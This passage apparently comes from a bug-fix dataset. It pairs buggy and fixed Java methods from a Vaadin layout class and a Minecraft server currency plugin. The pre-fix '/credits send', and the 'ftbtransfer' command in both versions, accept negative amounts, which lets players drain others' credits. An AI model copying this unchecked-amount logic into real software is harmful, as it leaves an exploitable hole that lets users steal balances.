it.next(); - client.unregisterPaintable(w); + for (Widget w : oldWidgets) { + if (w instanceof Paintable) { + final Paintable p = (Paintable) w; + client.unregisterPaintable(p); + } widgetToCaption.remove(w); } } public boolean hasChildComponent(Widget component) { return component.getParent() == this; } public void replaceChildComponent(Widget oldComponent, Widget newComponent) { VCaption caption = widgetToCaption.get(oldComponent); if (caption != null) { remove(caption); widgetToCaption.remove(oldComponent); } int index = getWidgetIndex(oldComponent); if (index >= 0) { remove(oldComponent); insert(newComponent, index); } } public void updateCaption(Paintable component, UIDL uidl) { VCaption caption = widgetToCaption.get(component); if (VCaption.isNeeded(uidl)) { Widget widget = (Widget) component; if (caption == null) { caption = new VCaption(component, client); widgetToCaption.put(widget, caption); insert(caption, getWidgetIndex(widget)); } else if (!caption.isAttached()) { insert(caption, getWidgetIndex(widget)); } caption.updateCaption(uidl); } else if (caption != null) { remove(caption); widgetToCaption.remove(component); } } private Paintable getComponent(Element element) { return Util.getChildPaintableForElement(client, VCssLayout.this, element); } } private RenderSpace space; public RenderSpace getAllocatedSpace(Widget child) { if (space == null) { space = new RenderSpace(-1, -1) { @Override public int getWidth() { if (BrowserInfo.get().isIE()) { int width = getOffsetWidth(); int margins = margin.getOffsetWidth() - panel.getOffsetWidth(); return width - margins; } else { return panel.getOffsetWidth(); } } @Override public int getHeight() { int height = getOffsetHeight(); int margins = margin.getOffsetHeight() - panel.getOffsetHeight(); return height - margins; } }; } return space; } public boolean requestLayout(Set<Paintable> children) { if (hasSize()) { return true; } else { // Size may have changed // TODO optimize this: cache size if not fixed, handle both width // and height separately return false; } } private boolean hasSize() { return hasWidth && hasHeight; } private static final String makeCamelCase(String cssProperty) { // TODO this might be cleaner to implement with regexp while (cssProperty.contains("-")) { int indexOf = cssProperty.indexOf("-"); cssProperty = cssProperty.substring(0, indexOf) + String.valueOf(cssProperty.charAt(indexOf + 1)) .toUpperCase() + cssProperty.substring(indexOf + 2); } if ("float".equals(cssProperty)) { if (BrowserInfo.get().isIE()) { return "styleFloat"; } else { return "cssFloat"; } } return cssProperty; } }
true
true
public void updateFromUIDL(UIDL uidl, ApplicationConnection client) { // for later requests this.client = client; final ArrayList<Widget> oldWidgets = new ArrayList<Widget>(); for (final Iterator<Widget> iterator = iterator(); iterator .hasNext();) { oldWidgets.add(iterator.next()); } clear(); ValueMap mapAttribute = null; if (uidl.hasAttribute("css")) { mapAttribute = uidl.getMapAttribute("css"); } for (final Iterator<Object> i = uidl.getChildIterator(); i .hasNext();) { final UIDL r = (UIDL) i.next(); final Paintable child = client.getPaintable(r); if (oldWidgets.contains(child)) { oldWidgets.remove(child); } add((Widget) child); if (mapAttribute != null && mapAttribute.containsKey(r.getId())) { String css = null; try { Style style = ((Widget) child).getElement().getStyle(); css = mapAttribute.getString(r.getId()); String[] cssRules = css.split(";"); for (int j = 0; j < cssRules.length; j++) { String[] rule = cssRules[j].split(":"); if (rule.length == 0) { continue; } else { style.setProperty( makeCamelCase(rule[0].trim()), rule[1] .trim()); } } } catch (Exception e) { ApplicationConnection.getConsole().log( "CssLayout encounterd invalid css string: " + css); } } if (!r.getBooleanAttribute("cached")) { child.updateFromUIDL(r, client); } } // loop oldWidgetWrappers that where not re-attached and unregister // them for (final Iterator<Widget> it = oldWidgets.iterator(); it .hasNext();) { final Paintable w = (Paintable) it.next(); client.unregisterPaintable(w); widgetToCaption.remove(w); } }
public void updateFromUIDL(UIDL uidl, ApplicationConnection client) { // for later requests this.client = client; final ArrayList<Widget> oldWidgets = new ArrayList<Widget>(); for (final Iterator<Widget> iterator = iterator(); iterator .hasNext();) { oldWidgets.add(iterator.next()); } clear(); ValueMap mapAttribute = null; if (uidl.hasAttribute("css")) { mapAttribute = uidl.getMapAttribute("css"); } for (final Iterator<Object> i = uidl.getChildIterator(); i .hasNext();) { final UIDL r = (UIDL) i.next(); final Paintable child = client.getPaintable(r); if (oldWidgets.contains(child)) { oldWidgets.remove(child); } add((Widget) child); if (mapAttribute != null && mapAttribute.containsKey(r.getId())) { String css = null; try { Style style = ((Widget) child).getElement().getStyle(); css = mapAttribute.getString(r.getId()); String[] cssRules = css.split(";"); for (int j = 0; j < cssRules.length; j++) { String[] rule = cssRules[j].split(":"); if (rule.length == 0) { continue; } else { style.setProperty( makeCamelCase(rule[0].trim()), rule[1] .trim()); } } } catch (Exception e) { ApplicationConnection.getConsole().log( "CssLayout encounterd invalid css string: " + css); } } if (!r.getBooleanAttribute("cached")) { child.updateFromUIDL(r, client); } } // loop oldWidgetWrappers that where not re-attached and unregister // them for (Widget w : oldWidgets) { if (w instanceof Paintable) { final Paintable p = (Paintable) w; client.unregisterPaintable(p); } widgetToCaption.remove(w); } }
diff --git a/me/MnC/MnC_SERVER_MOD/Currency/CurrencyCommandExecutor.java b/me/MnC/MnC_SERVER_MOD/Currency/CurrencyCommandExecutor.java index 6861e6f..ba048b7 100644 --- a/me/MnC/MnC_SERVER_MOD/Currency/CurrencyCommandExecutor.java +++ b/me/MnC/MnC_SERVER_MOD/Currency/CurrencyCommandExecutor.java @@ -1,361 +1,361 @@ package me.MnC.MnC_SERVER_MOD.Currency; import java.util.Iterator; import me.MnC.MnC_SERVER_MOD.DatabaseManager; import me.MnC.MnC_SERVER_MOD.MnC_SERVER_MOD; import me.MnC.MnC_SERVER_MOD.Currency.ShopManager.ShopItem; import me.MnC.MnC_SERVER_MOD.chat.ChatHandler; import me.MnC.MnC_SERVER_MOD.util.DataPager; import org.bukkit.ChatColor; import org.bukkit.command.Command; import org.bukkit.command.CommandExecutor; import org.bukkit.command.CommandSender; import org.bukkit.entity.Player; import org.bukkit.inventory.ItemStack; import java.sql.PreparedStatement; public class CurrencyCommandExecutor implements CommandExecutor { public CurrencyCommandExecutor() { } MnC_SERVER_MOD plugin = MnC_SERVER_MOD.getInstance(); @Override public boolean onCommand(CommandSender csender, Command command, String commandLabel, String[] args) { if(!(csender instanceof Player)) return false; Player sender = (Player)csender; if(command.getName().equalsIgnoreCase("credits")) { if (args.length == 0) { sender.sendMessage("/credits send <hrac> <pocet> - Posle zadany pocet kreditu danemu hraci."); sender.sendMessage("/credits balance - Zjisti stav Vasich kreditu."); sender.sendMessage("/credits ftbtransfer <hrac> <pocet> - Posle zadany pocet kreditu hraci na FTB serveru."); return true; } else if (args.length == 1) { String subCommand = args[0]; if(subCommand.matches("balance")) { sender.sendMessage("Vas ucet:"); sender.sendMessage("Kredity: " + ChatColor.GOLD + plugin.currencyManager.getBalance(sender.getName())); return true; } } else if(args.length == 3) { String subCommand = args[0]; String player = args[1]; int amount = Integer.parseInt(args[2]); if(subCommand.matches("send")) { - if(plugin.currencyManager.getBalance(sender.getName()) >= amount) + if(plugin.currencyManager.getBalance(sender.getName()) >= amount && amount > 0) { if(plugin.currencyManager.addCredits(player, amount)) { plugin.currencyManager.addCredits(sender.getName(), -amount); ChatHandler.SuccessMsg(sender, "Kredity byly uspesne odeslany"); Player reciever; if((reciever = plugin.getServer().getPlayer(player)) != null) { ChatHandler.InfoMsg(reciever, "Na ucet Vam prisly kredity od hrace " + ChatColor.GRAY + sender.getName() + ChatColor.YELLOW + " o hodnote " + ChatColor.GRAY + amount); } return true; } else ChatHandler.FailMsg(sender, "Kredity se nepodarilo poslat. Zkontrolujte prosim spravnost zadaneho nicku."); } else - ChatHandler.FailMsg(sender, "Na tuto akci nemate dostatek kreditu"); + ChatHandler.FailMsg(sender, "Na tuto akci nemate dostatek kreditu (Kredity nemuzou byt zaporne)!"); } else if(subCommand.equals("ftbtransfer")) { if(plugin.currencyManager.getBalance(sender.getName()) < amount) { ChatHandler.FailMsg(sender, "You don't have enough redits to send that much."); return false; } try(PreparedStatement stat = DatabaseManager.getConnection().prepareStatement("UPDATE `feed_the_beast`.`mncftb_currency` SET balance = (balance + (?)) WHERE LOWER(playername) = ? LIMIT 1");) { stat.setInt(1, amount); stat.setString(2, player); if(stat.executeUpdate() == 1) { sender.sendMessage("You have transferred "+amount+" credits to feed the beast account of "+player+"."); plugin.currencyManager.addCredits(sender.getName(), -amount); return true; } else { sender.sendMessage("Failed to transfer credits. Have you written the receiver's name correctly?"); return false; } } catch(Exception e) { sender.sendMessage("An error occured. Please contact the administrator."); e.printStackTrace(); return false; } } } } else if(command.getName().equalsIgnoreCase("shop")) { if (plugin.arena.IsArena(sender.getLocation())) { ChatHandler.FailMsg(sender, "V arene nemuzete pouzit prikaz /shop!"); return false; } if (args.length == 0) { sender.sendMessage("Shop Menu:"); sender.sendMessage("/shop buy <nazev> - Koupi dany item (1)."); sender.sendMessage("/shop balance - Zobrazi vase kredity."); sender.sendMessage("/shop items <strana> - Seznam itemu, ktere se daji koupit."); return true; } else if (args.length == 1) { String subCommand = args[0]; if (subCommand.matches("balance")) { sender.sendMessage("Vas ucet:"); sender.sendMessage("Kredity: " + plugin.currencyManager.getBalance(sender.getName())); return true; } } else if(args.length >= 1 && args[0].equals("items")) { int page = 1; if(args.length >= 2) page = Integer.parseInt(args[1]); DataPager<ShopItem> pager = new DataPager<ShopItem>(plugin.shopManager.getShopItemList(), 15); Iterator<ShopItem> i = pager.getPage(page).iterator(); sender.sendMessage("SEZNAM ITEMU:"); sender.sendMessage("STRANA " + page + "/" + pager.getPageCount()); while (i.hasNext()) { ShopItem item = i.next(); sender.sendMessage(String.format("%s - %s - cena za kus: %5.2f ", item.getName(),item.getIdString(),item.getPrice())); } return true; } else if (args[0].equals("buy") && (args.length == 3 || args.length == 2)) { String arg1 = args[1]; int arg2 = 1; if(args.length == 3) arg2 = Integer.parseInt(args[2]); plugin.shopManager.buyItem(sender.getName(),arg1, arg2); return true; } } else if(command.getName().equalsIgnoreCase("book")) { if(args.length == 0) { sender.sendMessage(ChatColor.RED + "Type: \"/book help\" for more informations."); return true; } if(args[0].toLowerCase().matches("help")) { if(args.length == 1) { sender.sendMessage(ChatColor.AQUA + "BOOK COPIER PRIKAZY A INFORMACE!"); sender.sendMessage("<> - povinne argumenty"); sender.sendMessage("[] - dobrovolne argumenty"); sender.sendMessage(ChatColor.AQUA + "/book copy " + ChatColor.GRAY + "[value]" +ChatColor.WHITE+ " - Zkopiruje knihu ve vasi ruce. Cena za kus: 20 Kreditu"); sender.sendMessage(ChatColor.AQUA + "/book give " + ChatColor.GRAY + "<player> [value]" +ChatColor.WHITE+ " - Zkopiruje a posle hraci Vasi knihu.. Cena za kus: 30 kreditu"); /*sender.sendMessage(ChatColor.YELLOW + "* " + ChatColor.WHITE + "/book save <fileName> - Saves book in your hand to file."); sender.sendMessage(ChatColor.YELLOW + "* " + ChatColor.WHITE + "/book load <fileName> - Loads book from file to your inventory.");*/ } return true; } else if(args[0].toLowerCase().matches("give")) { if(args.length == 2) { Player p; if((p = plugin.getServer().getPlayer(args[1])) != null) { try { ItemStack item = new WritableBook(sender.getItemInHand()).createItem(1); p.getInventory().addItem(item); ChatHandler.InfoMsg(p, "Obdrzel jste knihu..."); plugin.currencyManager.addCredits(sender.getName(), -30); ChatHandler.SuccessMsg(sender, "Kniha byla odeslana!"); return true; } catch(NumberFormatException e) { ChatHandler.FailMsg(sender, "Druhy parametr musi byt cislo."); e.printStackTrace(); return false; } } else { ChatHandler.FailMsg(sender, "Hrac je offline."); return false; } } else if(args.length == 3) { if(sender.getItemInHand().getTypeId() == 387) { Player p; if((p = plugin.getServer().getPlayer(args[1])) != null) { try { int numberOfBooks = Integer.parseInt(args[2]); ItemStack item = new WritableBook(sender.getItemInHand()).createItem(numberOfBooks); item.setAmount(numberOfBooks); p.getInventory().addItem(item); ChatHandler.InfoMsg(sender, "Obdrzel jste knihy..."); plugin.currencyManager.addCredits(sender.getName(), -30*numberOfBooks); ChatHandler.SuccessMsg(sender, "Knihy byla odeslany!"); return true; } catch(NumberFormatException e) { ChatHandler.FailMsg(sender, "Druhy parametr musi byt cislo."); e.printStackTrace(); return false; } } else { ChatHandler.FailMsg(sender, "Hrac je offline."); return false; } } else { ChatHandler.FailMsg(sender, "Toto neni kniha."); return false; } } } else if(args[0].toLowerCase().matches("copy")) { if(args.length == 1) { if(sender.getItemInHand().getTypeId() == 387) { WritableBook book = new WritableBook(sender.getItemInHand()); sender.getInventory().addItem(book.createItem(1)); plugin.currencyManager.addCredits(sender.getName(), -20); ChatHandler.SuccessMsg(sender, "Kniha byla zkopirovana!"); return true; } else { ChatHandler.FailMsg(sender, "Toto neni kniha."); return false; } } else if(args.length == 2) { if(sender.getItemInHand().getTypeId() == 387) { try { int numberOfBooks = Integer.parseInt(args[1]); ItemStack item = new WritableBook(sender.getItemInHand()).createItem(numberOfBooks); sender.getInventory().addItem(item); plugin.currencyManager.addCredits(sender.getName(), -20*numberOfBooks); ChatHandler.SuccessMsg(sender, "Knihy byly zkopirovany!"); return true; } catch(NumberFormatException e) { ChatHandler.FailMsg(sender, "Druhy parametr musi byt cislo."); e.printStackTrace(); return false; } } else { ChatHandler.FailMsg(sender, "Toto neni kniha."); return false; } } } /*else if(args[0].toLowerCase().matches("load")) { if(args.length == 2) { String fileName = args[1]; if(!fileName.endsWith(".book")) { fileName += ".book"; } String completePath = "plugins/MineAndCraft_plugin/Books/" + fileName; File file = new File(completePath); if(!file.exists()) { sender.sendMessage(ChatColor.RED + "This file doesn't exist."); return false; } WritableBook book = WritableBook.restoreObject(completePath); sender.getInventory().addItem(book.createItem(1)); sender.sendMessage("Book has been loaded."); return true; } } else if(args[0].toLowerCase().matches("save")) { if(args.length == 2) { if(sender.getItemInHand().getTypeId() == 387) { String fileName = args[1]; if(!fileName.endsWith(".book")) { fileName += ".book"; } String completePath = "plugins/MineAndCraft_plugin/Books/" + fileName; File file = new File(completePath); if(file.exists()) { sender.sendMessage(ChatColor.RED + "This file already exists."); return false; } WritableBook book = new WritableBook(sender.getItemInHand()); book.serialize(completePath); sender.sendMessage("Book has been saved."); return true; } else { sender.sendMessage("This isn't book! You need ID: 387."); return false; } } }*/ } return false; } }
false
true
public boolean onCommand(CommandSender csender, Command command, String commandLabel, String[] args) { if(!(csender instanceof Player)) return false; Player sender = (Player)csender; if(command.getName().equalsIgnoreCase("credits")) { if (args.length == 0) { sender.sendMessage("/credits send <hrac> <pocet> - Posle zadany pocet kreditu danemu hraci."); sender.sendMessage("/credits balance - Zjisti stav Vasich kreditu."); sender.sendMessage("/credits ftbtransfer <hrac> <pocet> - Posle zadany pocet kreditu hraci na FTB serveru."); return true; } else if (args.length == 1) { String subCommand = args[0]; if(subCommand.matches("balance")) { sender.sendMessage("Vas ucet:"); sender.sendMessage("Kredity: " + ChatColor.GOLD + plugin.currencyManager.getBalance(sender.getName())); return true; } } else if(args.length == 3) { String subCommand = args[0]; String player = args[1]; int amount = Integer.parseInt(args[2]); if(subCommand.matches("send")) { if(plugin.currencyManager.getBalance(sender.getName()) >= amount) { if(plugin.currencyManager.addCredits(player, amount)) { plugin.currencyManager.addCredits(sender.getName(), -amount); ChatHandler.SuccessMsg(sender, "Kredity byly uspesne odeslany"); Player reciever; if((reciever = plugin.getServer().getPlayer(player)) != null) { ChatHandler.InfoMsg(reciever, "Na ucet Vam prisly kredity od hrace " + ChatColor.GRAY + sender.getName() + ChatColor.YELLOW + " o hodnote " + ChatColor.GRAY + amount); } return true; } else ChatHandler.FailMsg(sender, "Kredity se nepodarilo poslat. Zkontrolujte prosim spravnost zadaneho nicku."); } else ChatHandler.FailMsg(sender, "Na tuto akci nemate dostatek kreditu"); } else if(subCommand.equals("ftbtransfer")) { if(plugin.currencyManager.getBalance(sender.getName()) < amount) { ChatHandler.FailMsg(sender, "You don't have enough redits to send that much."); return false; } try(PreparedStatement stat = DatabaseManager.getConnection().prepareStatement("UPDATE `feed_the_beast`.`mncftb_currency` SET balance = (balance + (?)) WHERE LOWER(playername) = ? LIMIT 1");) { stat.setInt(1, amount); stat.setString(2, player); if(stat.executeUpdate() == 1) { sender.sendMessage("You have transferred "+amount+" credits to feed the beast account of "+player+"."); plugin.currencyManager.addCredits(sender.getName(), -amount); return true; } else { sender.sendMessage("Failed to transfer credits. Have you written the receiver's name correctly?"); return false; } } catch(Exception e) { sender.sendMessage("An error occured. Please contact the administrator."); e.printStackTrace(); return false; } } } } else if(command.getName().equalsIgnoreCase("shop")) { if (plugin.arena.IsArena(sender.getLocation())) { ChatHandler.FailMsg(sender, "V arene nemuzete pouzit prikaz /shop!"); return false; } if (args.length == 0) { sender.sendMessage("Shop Menu:"); sender.sendMessage("/shop buy <nazev> - Koupi dany item (1)."); sender.sendMessage("/shop balance - Zobrazi vase kredity."); sender.sendMessage("/shop items <strana> - Seznam itemu, ktere se daji koupit."); return true; } else if (args.length == 1) { String subCommand = args[0]; if (subCommand.matches("balance")) { sender.sendMessage("Vas ucet:"); sender.sendMessage("Kredity: " + plugin.currencyManager.getBalance(sender.getName())); return true; } } else if(args.length >= 1 && args[0].equals("items")) { int page = 1; if(args.length >= 2) page = Integer.parseInt(args[1]); DataPager<ShopItem> pager = new DataPager<ShopItem>(plugin.shopManager.getShopItemList(), 15); Iterator<ShopItem> i = pager.getPage(page).iterator(); sender.sendMessage("SEZNAM ITEMU:"); sender.sendMessage("STRANA " + page + "/" + pager.getPageCount()); while (i.hasNext()) { ShopItem item = i.next(); sender.sendMessage(String.format("%s - %s - cena za kus: %5.2f ", item.getName(),item.getIdString(),item.getPrice())); } return true; } else if (args[0].equals("buy") && (args.length == 3 || args.length == 2)) { String arg1 = args[1]; int arg2 = 1; if(args.length == 3) arg2 = Integer.parseInt(args[2]); plugin.shopManager.buyItem(sender.getName(),arg1, arg2); return true; } } else if(command.getName().equalsIgnoreCase("book")) { if(args.length == 0) { sender.sendMessage(ChatColor.RED + "Type: \"/book help\" for more informations."); return true; } if(args[0].toLowerCase().matches("help")) { if(args.length == 1) { sender.sendMessage(ChatColor.AQUA + "BOOK COPIER PRIKAZY A INFORMACE!"); sender.sendMessage("<> - povinne argumenty"); sender.sendMessage("[] - dobrovolne argumenty"); sender.sendMessage(ChatColor.AQUA + "/book copy " + ChatColor.GRAY + "[value]" +ChatColor.WHITE+ " - Zkopiruje knihu ve vasi ruce. Cena za kus: 20 Kreditu"); sender.sendMessage(ChatColor.AQUA + "/book give " + ChatColor.GRAY + "<player> [value]" +ChatColor.WHITE+ " - Zkopiruje a posle hraci Vasi knihu.. Cena za kus: 30 kreditu"); /*sender.sendMessage(ChatColor.YELLOW + "* " + ChatColor.WHITE + "/book save <fileName> - Saves book in your hand to file."); sender.sendMessage(ChatColor.YELLOW + "* " + ChatColor.WHITE + "/book load <fileName> - Loads book from file to your inventory.");*/ } return true; } else if(args[0].toLowerCase().matches("give")) { if(args.length == 2) { Player p; if((p = plugin.getServer().getPlayer(args[1])) != null) { try { ItemStack item = new WritableBook(sender.getItemInHand()).createItem(1); p.getInventory().addItem(item); ChatHandler.InfoMsg(p, "Obdrzel jste knihu..."); plugin.currencyManager.addCredits(sender.getName(), -30); ChatHandler.SuccessMsg(sender, "Kniha byla odeslana!"); return true; } catch(NumberFormatException e) { ChatHandler.FailMsg(sender, "Druhy parametr musi byt cislo."); e.printStackTrace(); return false; } } else { ChatHandler.FailMsg(sender, "Hrac je offline."); return false; } } else if(args.length == 3) { if(sender.getItemInHand().getTypeId() == 387) { Player p; if((p = plugin.getServer().getPlayer(args[1])) != null) { try { int numberOfBooks = Integer.parseInt(args[2]); ItemStack item = new WritableBook(sender.getItemInHand()).createItem(numberOfBooks); item.setAmount(numberOfBooks); p.getInventory().addItem(item); ChatHandler.InfoMsg(sender, "Obdrzel jste knihy..."); plugin.currencyManager.addCredits(sender.getName(), -30*numberOfBooks); ChatHandler.SuccessMsg(sender, "Knihy byla odeslany!"); return true; } catch(NumberFormatException e) { ChatHandler.FailMsg(sender, "Druhy parametr musi byt cislo."); e.printStackTrace(); return false; } } else { ChatHandler.FailMsg(sender, "Hrac je offline."); return false; } } else { ChatHandler.FailMsg(sender, "Toto neni kniha."); return false; } } } else if(args[0].toLowerCase().matches("copy")) { if(args.length == 1) { if(sender.getItemInHand().getTypeId() == 387) { WritableBook book = new WritableBook(sender.getItemInHand()); sender.getInventory().addItem(book.createItem(1)); plugin.currencyManager.addCredits(sender.getName(), -20); ChatHandler.SuccessMsg(sender, "Kniha byla zkopirovana!"); return true; } else { ChatHandler.FailMsg(sender, "Toto neni kniha."); return false; } } else if(args.length == 2) { if(sender.getItemInHand().getTypeId() == 387) { try { int numberOfBooks = Integer.parseInt(args[1]); ItemStack item = new WritableBook(sender.getItemInHand()).createItem(numberOfBooks); sender.getInventory().addItem(item); plugin.currencyManager.addCredits(sender.getName(), -20*numberOfBooks); ChatHandler.SuccessMsg(sender, "Knihy byly zkopirovany!"); return true; } catch(NumberFormatException e) { ChatHandler.FailMsg(sender, "Druhy parametr musi byt cislo."); e.printStackTrace(); return false; } } else { ChatHandler.FailMsg(sender, "Toto neni kniha."); return false; } } } /*else if(args[0].toLowerCase().matches("load")) { if(args.length == 2) { String fileName = args[1]; if(!fileName.endsWith(".book")) { fileName += ".book"; } String completePath = "plugins/MineAndCraft_plugin/Books/" + fileName; File file = new File(completePath); if(!file.exists()) { sender.sendMessage(ChatColor.RED + "This file doesn't exist."); return false; } WritableBook book = WritableBook.restoreObject(completePath); sender.getInventory().addItem(book.createItem(1)); sender.sendMessage("Book has been loaded."); return true; } } else if(args[0].toLowerCase().matches("save")) { if(args.length == 2) { if(sender.getItemInHand().getTypeId() == 387) { String fileName = args[1]; if(!fileName.endsWith(".book")) { fileName += ".book"; } String completePath = "plugins/MineAndCraft_plugin/Books/" + fileName; File file = new File(completePath); if(file.exists()) { sender.sendMessage(ChatColor.RED + "This file already exists."); return false; } WritableBook book = new WritableBook(sender.getItemInHand()); book.serialize(completePath); sender.sendMessage("Book has been saved."); return true; } else { sender.sendMessage("This isn't book! You need ID: 387."); return false; } } }*/ } return false; }
public boolean onCommand(CommandSender csender, Command command, String commandLabel, String[] args) { if(!(csender instanceof Player)) return false; Player sender = (Player)csender; if(command.getName().equalsIgnoreCase("credits")) { if (args.length == 0) { sender.sendMessage("/credits send <hrac> <pocet> - Posle zadany pocet kreditu danemu hraci."); sender.sendMessage("/credits balance - Zjisti stav Vasich kreditu."); sender.sendMessage("/credits ftbtransfer <hrac> <pocet> - Posle zadany pocet kreditu hraci na FTB serveru."); return true; } else if (args.length == 1) { String subCommand = args[0]; if(subCommand.matches("balance")) { sender.sendMessage("Vas ucet:"); sender.sendMessage("Kredity: " + ChatColor.GOLD + plugin.currencyManager.getBalance(sender.getName())); return true; } } else if(args.length == 3) { String subCommand = args[0]; String player = args[1]; int amount = Integer.parseInt(args[2]); if(subCommand.matches("send")) { if(plugin.currencyManager.getBalance(sender.getName()) >= amount && amount > 0) { if(plugin.currencyManager.addCredits(player, amount)) { plugin.currencyManager.addCredits(sender.getName(), -amount); ChatHandler.SuccessMsg(sender, "Kredity byly uspesne odeslany"); Player reciever; if((reciever = plugin.getServer().getPlayer(player)) != null) { ChatHandler.InfoMsg(reciever, "Na ucet Vam prisly kredity od hrace " + ChatColor.GRAY + sender.getName() + ChatColor.YELLOW + " o hodnote " + ChatColor.GRAY + amount); } return true; } else ChatHandler.FailMsg(sender, "Kredity se nepodarilo poslat. Zkontrolujte prosim spravnost zadaneho nicku."); } else ChatHandler.FailMsg(sender, "Na tuto akci nemate dostatek kreditu (Kredity nemuzou byt zaporne)!"); } else if(subCommand.equals("ftbtransfer")) { if(plugin.currencyManager.getBalance(sender.getName()) < amount) { ChatHandler.FailMsg(sender, "You don't have enough redits to send that much."); return false; } try(PreparedStatement stat = DatabaseManager.getConnection().prepareStatement("UPDATE `feed_the_beast`.`mncftb_currency` SET balance = (balance + (?)) WHERE LOWER(playername) = ? LIMIT 1");) { stat.setInt(1, amount); stat.setString(2, player); if(stat.executeUpdate() == 1) { sender.sendMessage("You have transferred "+amount+" credits to feed the beast account of "+player+"."); plugin.currencyManager.addCredits(sender.getName(), -amount); return true; } else { sender.sendMessage("Failed to transfer credits. Have you written the receiver's name correctly?"); return false; } } catch(Exception e) { sender.sendMessage("An error occured. Please contact the administrator."); e.printStackTrace(); return false; } } } } else if(command.getName().equalsIgnoreCase("shop")) { if (plugin.arena.IsArena(sender.getLocation())) { ChatHandler.FailMsg(sender, "V arene nemuzete pouzit prikaz /shop!"); return false; } if (args.length == 0) { sender.sendMessage("Shop Menu:"); sender.sendMessage("/shop buy <nazev> - Koupi dany item (1)."); sender.sendMessage("/shop balance - Zobrazi vase kredity."); sender.sendMessage("/shop items <strana> - Seznam itemu, ktere se daji koupit."); return true; } else if (args.length == 1) { String subCommand = args[0]; if (subCommand.matches("balance")) { sender.sendMessage("Vas ucet:"); sender.sendMessage("Kredity: " + plugin.currencyManager.getBalance(sender.getName())); return true; } } else if(args.length >= 1 && args[0].equals("items")) { int page = 1; if(args.length >= 2) page = Integer.parseInt(args[1]); DataPager<ShopItem> pager = new DataPager<ShopItem>(plugin.shopManager.getShopItemList(), 15); Iterator<ShopItem> i = pager.getPage(page).iterator(); sender.sendMessage("SEZNAM ITEMU:"); sender.sendMessage("STRANA " + page + "/" + pager.getPageCount()); while (i.hasNext()) { ShopItem item = i.next(); sender.sendMessage(String.format("%s - %s - cena za kus: %5.2f ", item.getName(),item.getIdString(),item.getPrice())); } return true; } else if (args[0].equals("buy") && (args.length == 3 || args.length == 2)) { String arg1 = args[1]; int arg2 = 1; if(args.length == 3) arg2 = Integer.parseInt(args[2]); plugin.shopManager.buyItem(sender.getName(),arg1, arg2); return true; } } else if(command.getName().equalsIgnoreCase("book")) { if(args.length == 0) { sender.sendMessage(ChatColor.RED + "Type: \"/book help\" for more informations."); return true; } if(args[0].toLowerCase().matches("help")) { if(args.length == 1) { sender.sendMessage(ChatColor.AQUA + "BOOK COPIER PRIKAZY A INFORMACE!"); sender.sendMessage("<> - povinne argumenty"); sender.sendMessage("[] - dobrovolne argumenty"); sender.sendMessage(ChatColor.AQUA + "/book copy " + ChatColor.GRAY + "[value]" +ChatColor.WHITE+ " - Zkopiruje knihu ve vasi ruce. Cena za kus: 20 Kreditu"); sender.sendMessage(ChatColor.AQUA + "/book give " + ChatColor.GRAY + "<player> [value]" +ChatColor.WHITE+ " - Zkopiruje a posle hraci Vasi knihu.. Cena za kus: 30 kreditu"); /*sender.sendMessage(ChatColor.YELLOW + "* " + ChatColor.WHITE + "/book save <fileName> - Saves book in your hand to file."); sender.sendMessage(ChatColor.YELLOW + "* " + ChatColor.WHITE + "/book load <fileName> - Loads book from file to your inventory.");*/ } return true; } else if(args[0].toLowerCase().matches("give")) { if(args.length == 2) { Player p; if((p = plugin.getServer().getPlayer(args[1])) != null) { try { ItemStack item = new WritableBook(sender.getItemInHand()).createItem(1); p.getInventory().addItem(item); ChatHandler.InfoMsg(p, "Obdrzel jste knihu..."); plugin.currencyManager.addCredits(sender.getName(), -30); ChatHandler.SuccessMsg(sender, "Kniha byla odeslana!"); return true; } catch(NumberFormatException e) { ChatHandler.FailMsg(sender, "Druhy parametr musi byt cislo."); e.printStackTrace(); return false; } } else { ChatHandler.FailMsg(sender, "Hrac je offline."); return false; } } else if(args.length == 3) { if(sender.getItemInHand().getTypeId() == 387) { Player p; if((p = plugin.getServer().getPlayer(args[1])) != null) { try { int numberOfBooks = Integer.parseInt(args[2]); ItemStack item = new WritableBook(sender.getItemInHand()).createItem(numberOfBooks); item.setAmount(numberOfBooks); p.getInventory().addItem(item); ChatHandler.InfoMsg(sender, "Obdrzel jste knihy..."); plugin.currencyManager.addCredits(sender.getName(), -30*numberOfBooks); ChatHandler.SuccessMsg(sender, "Knihy byla odeslany!"); return true; } catch(NumberFormatException e) { ChatHandler.FailMsg(sender, "Druhy parametr musi byt cislo."); e.printStackTrace(); return false; } } else { ChatHandler.FailMsg(sender, "Hrac je offline."); return false; } } else { ChatHandler.FailMsg(sender, "Toto neni kniha."); return false; } } } else if(args[0].toLowerCase().matches("copy")) { if(args.length == 1) { if(sender.getItemInHand().getTypeId() == 387) { WritableBook book = new WritableBook(sender.getItemInHand()); sender.getInventory().addItem(book.createItem(1)); plugin.currencyManager.addCredits(sender.getName(), -20); ChatHandler.SuccessMsg(sender, "Kniha byla zkopirovana!"); return true; } else { ChatHandler.FailMsg(sender, "Toto neni kniha."); return false; } } else if(args.length == 2) { if(sender.getItemInHand().getTypeId() == 387) { try { int numberOfBooks = Integer.parseInt(args[1]); ItemStack item = new WritableBook(sender.getItemInHand()).createItem(numberOfBooks); sender.getInventory().addItem(item); plugin.currencyManager.addCredits(sender.getName(), -20*numberOfBooks); ChatHandler.SuccessMsg(sender, "Knihy byly zkopirovany!"); return true; } catch(NumberFormatException e) { ChatHandler.FailMsg(sender, "Druhy parametr musi byt cislo."); e.printStackTrace(); return false; } } else { ChatHandler.FailMsg(sender, "Toto neni kniha."); return false; } } } /*else if(args[0].toLowerCase().matches("load")) { if(args.length == 2) { String fileName = args[1]; if(!fileName.endsWith(".book")) { fileName += ".book"; } String completePath = "plugins/MineAndCraft_plugin/Books/" + fileName; File file = new File(completePath); if(!file.exists()) { sender.sendMessage(ChatColor.RED + "This file doesn't exist."); return false; } WritableBook book = WritableBook.restoreObject(completePath); sender.getInventory().addItem(book.createItem(1)); sender.sendMessage("Book has been loaded."); return true; } } else if(args[0].toLowerCase().matches("save")) { if(args.length == 2) { if(sender.getItemInHand().getTypeId() == 387) { String fileName = args[1]; if(!fileName.endsWith(".book")) { fileName += ".book"; } String completePath = "plugins/MineAndCraft_plugin/Books/" + fileName; File file = new File(completePath); if(file.exists()) { sender.sendMessage(ChatColor.RED + "This file already exists."); return false; } WritableBook book = new WritableBook(sender.getItemInHand()); book.serialize(completePath); sender.sendMessage("Book has been saved."); return true; } else { sender.sendMessage("This isn't book! You need ID: 387."); return false; } } }*/ } return false; }
